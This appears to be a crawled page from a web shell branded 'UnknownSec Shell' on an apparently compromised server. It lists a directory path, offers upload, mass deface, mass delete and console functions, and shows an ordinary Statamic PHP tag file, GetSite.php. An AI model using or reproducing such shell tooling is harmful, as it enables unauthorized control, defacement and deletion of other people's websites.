shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Tags
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
GetSite.php
<?php namespace Statamic\Tags; use Illuminate\Support\Str; use Statamic\Facades\Site; class GetSite extends Tags { /** * {{ get_site:* }} ... {{ /get_site:* }}. */ public function wildcard($tag) { $handle = Str::before($tag, ':'); if (! $site = Site::get($handle)) { throw new \Exception("Site [$handle] does not exist."); } $result = (Str::contains($tag, ':') && ($var = Str::after($tag, ':'))) ? $site->$var : $site; return $this->aliasedResult($result); } /** * {{ get_site handle="" }} ... {{ /get_site }}. */ public function index() { if (! $handle = $this->params->get('handle')) { throw new \Exception('A site handle is required.'); } if (! $site = Site::get($handle)) { throw new \Exception("Site [$handle] does not exist."); } return $this->aliasedResult($site); } }
© 2026 UnknownSec